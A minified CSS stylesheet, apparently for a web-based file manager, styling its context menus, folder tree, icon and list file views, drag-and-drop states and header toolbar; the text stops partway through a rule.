.context-menu-item.setting_wall .icon-picture.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.set-file-icon-size .icon-picture.font-icon:before,.context-menu-list .context-menu-item.setting_wall .icon-picture.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.sort_by .icon-sort.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:8px;}.context-menu-list .context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}#selContainer{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title.db_click_rename{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) + div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path_tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.role_label_box{padding:6px 0 0 10px;float:left;}.role_label_box .label{cursor:default;padding:4px 8px;}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button_style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button_style .btn-default .font-icon{line-height:22px;}.button_style .btn-default:hover,.button_style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button_style .btn-default:active{color:#000;border-color:#888;}.button_style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button_style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball_input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball_input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball_input input:focus{outline:none;}.header-middle .address_ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address_ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #history_back .font-icon,.frame-header .header-content #history_next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folderList{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .fileContinerMore{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom_box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom_box .box_content{padding-left:20px;}.frame-main .bottom_box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom_box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom_box .cell.recycle_hover,.frame-main .bottom_box .cell.share_hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod_path_tool .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px 